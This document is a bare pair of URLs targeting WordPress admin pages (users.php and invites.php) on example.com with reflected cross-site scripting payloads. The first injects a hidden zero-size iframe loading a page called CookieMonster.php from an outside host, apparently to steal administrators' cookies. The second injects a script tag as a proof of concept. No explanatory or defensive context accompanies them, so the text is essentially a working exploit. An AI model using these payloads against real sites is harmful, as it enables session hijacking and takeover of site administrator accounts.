http://www.example.com/wp-admin/users.php?update=invite&inviteemail=>< iframe src=http://members.lycos.co.uk/Account/CookieMonster.php width=0 height=0>
http://www.example.com/wp-admin/invites.php?result=sent&to=%22%3E%3Cscript%3Ealert